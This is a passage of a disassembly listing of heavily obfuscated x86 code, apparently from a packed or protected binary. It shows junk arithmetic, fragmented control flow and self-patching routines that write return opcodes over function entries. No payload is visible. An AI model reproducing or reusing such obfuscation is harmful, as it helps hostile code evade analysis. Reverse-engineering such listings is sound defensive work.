sub_44D3B1:loc_44092Ao add edi, 0C385A2B7h xchg edi, [esp] jmp sub_43E913 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_44A045: ; CODE XREF: sub_44B1D2-1115Aj jnz sub_4398FF add ebx, 366DCCDBh loc_44A051: ; CODE XREF: sub_44B1D2:loc_43B730j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jmp loc_444354 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E037 loc_44A05C: ; CODE XREF: sub_43E037:loc_43904Cj imul byte ptr [edx] cmp al, 0A4h jz loc_437708 jmp loc_44331E ; END OF FUNCTION CHUNK FOR sub_43E037 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_44A06B: ; CODE XREF: sub_44E5C7-13C3Fj and ebx, edi cmp esi, 4F9D9CAAh jmp loc_43E6A6 ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_44A078: ; CODE XREF: sub_43B09B:loc_440BB5j push 7879245Ch pop eax sub eax, 0F75E1496h and eax, 5C4BB239h test eax, 40h jmp loc_444002 ; END OF FUNCTION CHUNK FOR sub_43B09B ; =============== S U B R O U T I N E ======================================= sub_44A095 proc near ; CODE XREF: sub_43C6D7+B0Fp ; sub_44B3F8+17j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043AA7E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043DD34 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043E060 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00442F1C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443B0A SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00447605 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00449EBE SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0044A7E3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044B7F1 SIZE 0000000B BYTES xchg esi, [esp+0] pop esi cmp byte ptr [eax], 0F1h jnz loc_44A7E3 jmp loc_44B7F1 sub_44A095 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_44A0A7 proc near ; DATA XREF: sub_448488:loc_441882o ; FUNCTION CHUNK AT 00440C8C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B075 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0044E23D SIZE 00000005 BYTES push 4373418h pop edi sub edi, 0E5BA7944h and edi, 998DA5h sub edi, 24134361h add edi, 243EF27Fh jmp loc_44E23D sub_44A0A7 endp ; --------------------------------------------------------------------------- loc_44A0CA: ; CODE XREF: y22d6.y.:00444157j push ebp rol edx, 0Dh loc_44A0CE: ; CODE XREF: y22d6.y.:loc_445FBCj push 0CD047983h pop eax xor eax, 0F1DF8847h jmp loc_44CC7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_44A0DF: ; CODE XREF: sub_44571D-4DE7j ; sub_449641:loc_448917j jb loc_43A21B jge loc_43C2EF loc_44A0EB: ; CODE XREF: sub_43B7D4+75F5j cmp ebp, ecx jmp loc_4490FB ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4384B4 loc_44A0F2: ; CODE XREF: sub_4384B4:loc_43E94Ej add ebx, 8DA83D14h mov [ebx], eax pop ebx lea eax, sub_4384B4 mov byte ptr [eax], 0C3h jmp loc_44C393 ; --------------------------------------------------------------------------- loc_44A109: ; CODE XREF: sub_4384B4j pop edx call sub_449A8B loc_44A10F: ; CODE XREF: y22d6.y.:0043CF99j jmp loc_43AAB9 ; END OF FUNCTION CHUNK FOR sub_4384B4 ; --------------------------------------------------------------------------- push ecx push 761F6200h pop ecx xor ecx, 931041B8h jnz loc_447954 ; START OF FUNCTION CHUNK FOR sub_43A8B0 loc_44A127: ; CODE XREF: sub_43A8B0+13j jmp loc_443878 ; END OF FUNCTION CHUNK FOR sub_43A8B0 ; --------------------------------------------------------------------------- loc_44A12C: ; CODE XREF: y22d6.y.:00447BEAj push eax popf jmp loc_43EF6C ; --------------------------------------------------------------------------- sub edi, ecx xchg esi, [edi] jmp loc_449653 ; --------------------------------------------------------------------------- loc_44A13C: ; DATA XREF: sub_44243B:loc_4451A3o push 0E3A338E5h pop edx xor edx, 0BDD0F52Ch or edx, 4E45C1DFh xor edx, 0BD38117h jmp loc_446EEB ; --------------------------------------------------------------------------- loc_44A159: ; CODE XREF: y22d6.y.:0043BE77j cmp ebx, edx jmp loc_43C13D ; --------------------------------------------------------------------------- loc_44A160: ; CODE XREF: y22d6.y.:00443943j rol edi, 1Eh sub edi, 8EFA0F68h and edi, 0AADAD08Fh add edi, 7D00E3DAh add edi, ebp add edi, 2FC4B9Ah push offset sub_43E037 jmp locret_443158 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_45. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_44A188: ; CODE XREF: y22d6.y.:004390AEj jo loc_4423DC rol esi, 0Bh jmp sub_440DCC ; --------------------------------------------------------------------------- loc_44A196: ; CODE XREF: y22d6.y.:0043D2D4j jl loc_4410A6 loc_44A19C: ; CODE XREF: y22d6.y.:00438EA0j jmp loc_4463A9 ; --------------------------------------------------------------------------- js loc_4456D0 jmp loc_4410A5 ; --------------------------------------------------------------------------- jmp ds:dword_41E1A8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xor al, 24h mov edx, esi xchg eax, [esp] mov esi, eax jmp loc_440740 ; --------------------------------------------------------------------------- loc_44A1C1: ; DATA XREF: y22d6.y.:0044BE3Eo or eax, eax jnz loc_448638 jmp loc_44052E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C758 loc_44A1CE: ; CODE XREF: sub_44C758-6B71j add esi, 7264C164h xor esi, 36591E02h add esi, ebp add esi, 424BA5AAh mov [esi], eax jmp loc_446124 ; END OF FUNCTION CHUNK FOR sub_44C758 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C921 loc_44A1E9: ; CODE XREF: y22d6.y.:00446F61j ; sub_44C921:loc_4488E6j rol esi, 4 and esi, 0A8585DE3h rol esi, 13h add esi, 7334E072h mov [esi], eax pop esi jmp loc_44056E ; END OF FUNCTION CHUNK FOR sub_44C921 ; --------------------------------------------------------------------------- loc_44A203: ; CODE XREF: y22d6.y.:00446EFBj jz loc_43E64E jmp loc_44770F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44807C loc_44A20E: ; CODE XREF: sub_44807C+Dj sub ebx, 0FBB38960h add ebx, 7F52D2D6h rol ebx, 1 add ebx, 0DA22620Bh add ecx, ebx pop ebx jmp loc_443EE2 ; END OF FUNCTION CHUNK FOR sub_44807C ; =============== S U B R O U T I N E ======================================= sub_44A22A proc near ; CODE XREF: y22d6.y.:0044788Bj ; sub_44D3B1+Bp ; FUNCTION CHUNK AT 004408DE SIZE 00000007 BYTES xchg edi, [esp+0] pop edi call sub_43E913 push 0F4BF7126h pop eax loc_44A239: ; CODE XREF: sub_448EB6:loc_449195j add eax, 30E20F30h xor eax, 1D53C5C4h push edx jmp loc_4408DE sub_44A22A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44A24B: ; CODE XREF: y22d6.y.:loc_43C77Aj push ecx push edx pop ecx xchg ecx, [esp] jmp loc_43FF60 ; --------------------------------------------------------------------------- mov eax, 0EFFDE014h call sub_43F443 ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_44A260: ; CODE XREF: sub_44BCC2-5D83j jmp loc_448CB2 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44A265: ; CODE XREF: sub_448EB6-AAD3j jmp loc_43D006 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_103. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov eax, 147A4491h call sub_43CA1A mov ds:off_41E064, eax lea eax, sub_44AA5D mov byte ptr [eax], 0C3h jmp sub_44AA5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AA5D loc_44A289: ; CODE XREF: sub_44AA5D+1j mov eax, [esp+4+var_4] push edx call sub_4463CE jmp loc_44007C ; END OF FUNCTION CHUNK FOR sub_44AA5D ; --------------------------------------------------------------------------- mov [ecx], ebx jmp sub_4482CF ; --------------------------------------------------------------------------- or edx, 0E6E80C01h jmp loc_44CB39 ; --------------------------------------------------------------------------- xchg esi, [esp] push ecx call sub_449CED ; START OF FUNCTION CHUNK FOR sub_444581 loc_44A2B2: ; CODE XREF: sub_444581+7F32j jmp nullsub_208 ; END OF FUNCTION CHUNK FOR sub_444581 ; --------------------------------------------------------------------------- mov eax, 38F24592h call sub_43F7FF push ecx push 410E18BCh pop ecx rol ecx, 1Ch cmp ecx, 43136C10h jmp loc_449EDD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_374. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44051D loc_44A2D7: ; CODE XREF: sub_44051D+C7F5j jmp loc_441A0E ; END OF FUNCTION CHUNK FOR sub_44051D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F112 loc_44A2DC: ; CODE XREF: sub_43F112+6j jmp nullsub_148 ; END OF FUNCTION CHUNK FOR sub_43F112 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445DB1 loc_44A2E1: ; CODE XREF: sub_445DB1-A20Aj jmp nullsub_149 ; END OF FUNCTION CHUNK FOR sub_445DB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448C77 loc_44A2E6: ; CODE XREF: sub_448C77:loc_4459D8j rol edx, 5 xor edx, 0F83A0BE2h rol edx, 0Bh add edx, 5511EEE2h jmp loc_442C82 ; END OF FUNCTION CHUNK FOR sub_448C77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4392B0 loc_44A2FD: ; CODE XREF: sub_4392B0:loc_43C420j mov edx, 0E5254649h call sub_449739 mov ds:dword_441954, eax loc_44A30C: ; CODE XREF: sub_4392B0+5487j ; y22d6.y.:0044AFF3j ... mov esp, ebp pop ebp push ds:dword_441954 retn ; END OF FUNCTION CHUNK FOR sub_4392B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_44A316: ; CODE XREF: sub_440280+8775j jmp loc_44819E ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FC02 loc_44A31B: ; CODE XREF: sub_43FC02+7j jmp sub_444581 ; END OF FUNCTION CHUNK FOR sub_43FC02 ; =============== S U B R O U T I N E ======================================= sub_44A320 proc near ; CODE XREF: sub_4392B0+5473p ; sub_4392B0+5499p mov eax, cs jmp loc_438CBB sub_44A320 endp ; --------------------------------------------------------------------------- xchg ecx, [eax] jmp loc_449AA7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_248. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B252 loc_44A32F: ; CODE XREF: sub_43B252+7549j jmp loc_43DC7A ; END OF FUNCTION CHUNK FOR sub_43B252 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443778 loc_44A334: ; CODE XREF: sub_443778-2FA7j jmp nullsub_257 ; END OF FUNCTION CHUNK FOR sub_443778 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43991F loc_44A339: ; CODE XREF: sub_43991F+Cj jmp loc_44856C ; END OF FUNCTION CHUNK FOR sub_43991F ; --------------------------------------------------------------------------- xchg ecx, [edi] jmp loc_43D167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44415C loc_44A345: ; CODE XREF: sub_44415C+16j mov ds:dword_41E0D8, eax lea eax, nullsub_313 mov byte ptr [eax], 0C3h jmp nullsub_313 ; END OF FUNCTION CHUNK FOR sub_44415C ; =============== S U B R O U T I N E ======================================= sub_44A359 proc near ; CODE XREF: sub_401000+326p ; sub_40CA0C+E0p ... ; FUNCTION CHUNK AT 00437DD5 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004382E8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00439EF9 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043E2F0 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0043F152 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043FC35 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00440913 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004410F9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004426B5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443CDE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004455A7 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00445B6B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044600D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004478F4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044AA8D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044CC70 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0044CDFB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044D1B8 SIZE 00000005 BYTES jo loc_44CDFB jmp loc_44AA8D sub_44A359 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4422AA loc_44A364: ; CODE XREF: sub_4422AA:loc_43FC14j push edx call sub_44CFDF loc_44A36A: ; CODE XREF: sub_443C95+10j mov byte ptr [eax], 0C3h jmp nullsub_9 ; END OF FUNCTION CHUNK FOR sub_4422AA ; --------------------------------------------------------------------------- loc_44A372: ; CODE XREF: y22d6.y.:004451EEj mov eax, [esp] push edx call sub_443C3C push 8DF2F9B3h pop eax jmp loc_447DA2 ; --------------------------------------------------------------------------- locret_44A386: ; CODE XREF: y22d6.y.:00443608j retn ; --------------------------------------------------------------------------- loc_44A387: ; CODE XREF: y22d6.y.:0044515Cj jmp loc_439FE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442060 loc_44A38C: ; CODE XREF: sub_442060-3024j xor esi, 0DD62A262h add esi, ebp push offset loc_447923 jmp nullsub_151 ; END OF FUNCTION CHUNK FOR sub_442060 ; =============== S U B R O U T I N E ======================================= sub_44A39E proc near ; DATA XREF: y22d6.y.:00444F10o mov dword ptr [ebp-0F8h], 206461h mov dword ptr [ebp-108h], 0Bh sub_44A39E endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_44A3B2: ; CODE XREF: sub_44BCC2-BE5Cj jnz loc_448CC5 mov eax, [ebp-104h] cmp byte ptr [eax], 0 jmp loc_445851 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44A3C6: ; CODE XREF: sub_448EB6:loc_43BB34j ; sub_448EB6-B2EEj push 0A7035C03h pop eax and eax, 98DEF72h xor eax, 2648487Bh and eax, 0BB97D5B4h add eax, 428C635Fh jmp loc_43FCEA ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= sub_44A3E9 proc near ; CODE XREF: sub_441A2B+32F2p ; y22d6.y.:0044BCE3j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043D49A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00449A33 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax mov [esi], eax xchg edi, [esp-4+arg_0] mov esi, edi pop edi jmp loc_449A33 sub_44A3E9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44A3FA: ; CODE XREF: y22d6.y.:00447D04j mov [ecx], ebp js loc_44A009 loc_44A402: ; CODE XREF: y22d6.y.:0043B286j add ebx, 0E0CC67h test ebx, 80000h jmp loc_445BFA ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44A413 proc near ; CODE XREF: sub_43E7BF-7646p ; sub_43A1FA+4p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004413CF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C70D SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0044CDC8 SIZE 0000000A BYTES push ebp mov ebp, esp push ecx push edx push 6321CCECh pop edx or edx, 6BE9A927h rol edx, 1Fh jmp loc_4413CF sub_44A413 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_42. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B43 loc_44A42D: ; CODE XREF: sub_437B43+B770j jmp loc_442E44 ; END OF FUNCTION CHUNK FOR sub_437B43 ; --------------------------------------------------------------------------- loc_44A432: ; CODE XREF: y22d6.y.:loc_43AA99j ; y22d6.y.:00446E32j push offset sub_440395 jmp locret_444928 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44A43C: ; CODE XREF: sub_4432B8:loc_44331Ej jnz loc_440168 jmp loc_4425B0 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_44A447: ; CODE XREF: sub_44B489-F7A9j jns loc_438F98 loc_44A44D: ; CODE XREF: sub_44B489:loc_44AC88j call sub_43760A mov edx, 0F75CA70h push ecx push 0BBCA7772h pop ecx rol ecx, 0Fh jmp loc_4403E5 ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65F loc_44A466: ; CODE XREF: sub_43C65F+4243j mov ebp, ecx pop ecx retn ; END OF FUNCTION CHUNK FOR sub_43C65F ; --------------------------------------------------------------------------- loc_44A46A: ; CODE XREF: y22d6.y.:00447AB3j jmp loc_446093 ; =============== S U B R O U T I N E ======================================= sub_44A46F proc near ; CODE XREF: sub_439E63+1FDp ; sub_44B3C9-100EEp ... ; FUNCTION CHUNK AT 0043958B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D303 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044C7CF SIZE 00000005 BYTES push ebp jmp loc_44C7CF sub_44A46F endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_155. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_44A476: ; CODE XREF: y22d6.y.:0044736Fj ja loc_440168 ; START OF FUNCTION CHUNK FOR sub_44B489 loc_44A47C: ; CODE XREF: sub_44B489:loc_440404j add eax, 5D73F3E8h mov eax, [eax] or eax, eax jnz loc_43751E jmp loc_44AC88 ; END OF FUNCTION CHUNK FOR sub_44B489 ; =============== S U B R O U T I N E ======================================= sub_44A491 proc near ; DATA XREF: sub_43B252+137Ao rol eax, 16h loc_44A494: ; CODE XREF: y22d6.y.:0043C512j call sub_43D5BB sub_44A491 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_44BBBA loc_44A499: ; CODE XREF: sub_44BBBA+10j jmp loc_44AB17 ; END OF FUNCTION CHUNK FOR sub_44BBBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A9C6 loc_44A49E: ; CODE XREF: sub_43A9C6+74F9j jmp loc_43E9A1 ; END OF FUNCTION CHUNK FOR sub_43A9C6 ; --------------------------------------------------------------------------- loc_44A4A3: ; CODE XREF: y22d6.y.:0044ACC8j test esi, eax jmp loc_43C460 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A6E1 loc_44A4AA: ; CODE XREF: sub_43A6E1:loc_43C255j mov [esi], edi jno sub_43E31B jmp loc_4497CE ; END OF FUNCTION CHUNK FOR sub_43A6E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4449FA loc_44A4B7: ; CODE XREF: sub_4449FA+970Ej mov edx, ecx pop ecx mov eax, [esp-4+arg_0] push edi mov edi, edx xchg edi, [esp+0] jmp loc_443B6E ; END OF FUNCTION CHUNK FOR sub_4449FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_44A4C8: ; CODE XREF: sub_440280+918Aj jz loc_44BA63 jmp loc_447757 ; END OF FUNCTION CHUNK FOR sub_440280 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_356. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_44A4D4: ; CODE XREF: sub_44B17B:loc_438436j mov esi, ebx xchg esi, [esp+0] push 0D1666E9Eh pop ebx rol ebx, 10h jmp loc_43B0B6 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- loc_44A4E7: ; CODE XREF: y22d6.y.:0044C463j sub ebx, 6303F200h push offset loc_43C005 jmp locret_442265 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_186. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44066C loc_44A4F8: ; CODE XREF: sub_44066C+42EBj jl loc_44CB5C xchg edi, ebp jmp loc_44CB59 ; END OF FUNCTION CHUNK FOR sub_44066C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4482CF loc_44A505: ; CODE XREF: sub_4482CF:loc_43D750j jz loc_444BB8 jmp loc_444909 ; END OF FUNCTION CHUNK FOR sub_4482CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43837F loc_44A510: ; CODE XREF: sub_43837F+EF96j movzx edx, byte ptr [edx] or eax, edx loc_44A515: ; CODE XREF: sub_43837F+D202j mov [ebp-1Ch], eax inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] and eax, 0FFh push offset loc_44BD6B jmp nullsub_328 ; END OF FUNCTION CHUNK FOR sub_43837F ; --------------------------------------------------------------------------- loc_44A52D: ; CODE XREF: y22d6.y.:00437544j adc edx, ebx jmp loc_448E9E ; --------------------------------------------------------------------------- jbe loc_43F889 ; =============== S U B R O U T I N E ======================================= sub_44A53A proc near ; CODE XREF: y22d6.y.:0043DA22p ; FUNCTION CHUNK AT 0043DE75 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043F5CE SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00441157 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044550E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0044D2D4 SIZE 00000006 BYTES xchg ecx, [esp+0] pop ecx jmp loc_441157 sub_44A53A endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov eax, [ebp-4] jmp loc_44C398 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_44A54B: ; CODE XREF: sub_44271A-2258j add esi, 704BB8D1h sub esi, 0B321FEF3h and esi, 31C1E747h add esi, 0EE83E4E7h jmp loc_438EBB ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B267 loc_44A568: ; CODE XREF: sub_44B267:loc_43BC71j pop ebx xor ebx, 159832B2h add ebx, 84CE9419h push offset loc_437C30 jmp nullsub_191 ; END OF FUNCTION CHUNK FOR sub_44B267 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44ABB0 loc_44A57F: ; CODE XREF: sub_44ABB0+9j mov ebx, esi xchg ebx, [esp+0] mov esi, edx call sub_44415C ; END OF FUNCTION CHUNK FOR sub_44ABB0 ; START OF FUNCTION CHUNK FOR sub_44B629 loc_44A58B: ; CODE XREF: sub_44B629+7j jmp nullsub_341 ; END OF FUNCTION CHUNK FOR sub_44B629 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_44A590: ; CODE XREF: sub_4450FD+Ej jmp loc_44745A ; END OF FUNCTION CHUNK FOR sub_4450FD ; =============== S U B R O U T I N E ======================================= sub_44A595 proc near ; CODE XREF: sub_438A67:loc_43BF60j ; FUNCTION CHUNK AT 00441C64 SIZE 00000005 BYTES add esp, 0FFFFFFD8h mov [ebp-20h], eax mov eax, [ebp-20h] mov [ebp-28h], eax push offset loc_442D11 jmp loc_441C64 sub_44A595 endp ; --------------------------------------------------------------------------- loc_44A5AB: ; CODE XREF: y22d6.y.:loc_44D7A8j pushf jmp sub_445A15 ; --------------------------------------------------------------------------- loc_44A5B1: ; CODE XREF: y22d6.y.:004460D2j jb loc_442A37 add edi, edx jmp loc_43ED90 ; --------------------------------------------------------------------------- mov eax, 0EA34346Fh push ecx push 7CA876AEh pop ecx or ecx, 83899E3Dh jmp loc_43DD6D ; =============== S U B R O U T I N E ======================================= sub_44A5D5 proc near ; CODE XREF: sub_41609C+191p ; sub_44A5D5+5j ; DATA XREF: ... call sub_44A5E5 jmp ds:off_41E10C sub_44A5D5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BF98 loc_44A5E0: ; CODE XREF: sub_43BF98+Aj jmp loc_4409B1 ; END OF FUNCTION CHUNK FOR sub_43BF98 ; =============== S U B R O U T I N E ======================================= sub_44A5E5 proc near ; CODE XREF: sub_43F224:loc_440E34j ; y22d6.y.:00444CF9j ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004371C3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004396EB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043E8C5 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00440533 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00444CD8 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00449E15 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044C87F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044DF92 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044E2AA SIZE 00000005 BYTES xchg edi, [esp+0] mov edx, edi pop edi jmp loc_440533 sub_44A5E5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444D45 loc_44A5F0: ; CODE XREF: sub_444D45+10j rol eax, 2 or eax, 5EB8C86Dh cmp eax, 0A366C728h jmp loc_4464A3 ; END OF FUNCTION CHUNK FOR sub_444D45 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_277. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_44A605: ; CODE XREF: y22d6.y.:0044CC52j jmp locret_4492B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FFE2 loc_44A60A: ; CODE XREF: sub_43FFE2:loc_43F7D9j mov ecx, [ebp-4] mov eax, 1 shl eax, cl and edx, eax push offset loc_448053 jmp loc_447E99 ; END OF FUNCTION CHUNK FOR sub_43FFE2 ; =============== S U B R O U T I N E ======================================= sub_44A620 proc near ; DATA XREF: sub_44DB81:loc_4450D7o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00443BBC SIZE 0000000F BYTES xchg ecx, [esp-4+arg_0] mov edx, ecx pop ecx xchg ebx, [esp+0] jmp loc_443BBC sub_44A620 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 298Bh dd 0FF2CA4E9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4475B3 loc_44A635: ; CODE XREF: sub_4475B3:loc_43BC3Dj jnz loc_443D51 loc_44A63B: ; CODE XREF: sub_43AD94+F1B1j jmp loc_4408BD ; END OF FUNCTION CHUNK FOR sub_4475B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_44A640: ; CODE XREF: sub_44271A+283j jmp nullsub_1 ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- loc_44A645: ; CODE XREF: y22d6.y.:0043F0A6j jmp loc_439166 ; --------------------------------------------------------------------------- loc_44A64A: ; CODE XREF: y22d6.y.:0043B843j jmp loc_437BEA ; --------------------------------------------------------------------------- loc_44A64F: ; CODE XREF: y22d6.y.:0044237Ej jg sub_43760A not ecx jb loc_44CC5F loc_44A65D: ; CODE XREF: y22d6.y.:loc_448C30j jmp loc_443D4F ; --------------------------------------------------------------------------- mov ds:off_41E0E0, eax lea eax, sub_43E39E mov byte ptr [eax], 0C3h jmp sub_43E39E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447896 loc_44A676: ; CODE XREF: sub_447896+4j pop edx mov eax, [esp+0] push ebp mov ebp, edx jmp loc_444517 ; END OF FUNCTION CHUNK FOR sub_447896 ; --------------------------------------------------------------------------- locret_44A682: ; CODE XREF: y22d6.y.:0043D514j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_44A683: ; CODE XREF: sub_44271A-772Aj jmp sub_43760A ; END OF FUNCTION CHUNK FOR sub_44271A ; =============== S U B R O U T I N E ======================================= sub_44A688 proc near ; DATA XREF: sub_44B17B:loc_441878o pop edx rol eax, 9 push ebx push offset sub_43AFCD jmp nullsub_168 sub_44A688 endp ; --------------------------------------------------------------------------- loc_44A697: ; CODE XREF: y22d6.y.:loc_44CACEj push eax mov eax, edx 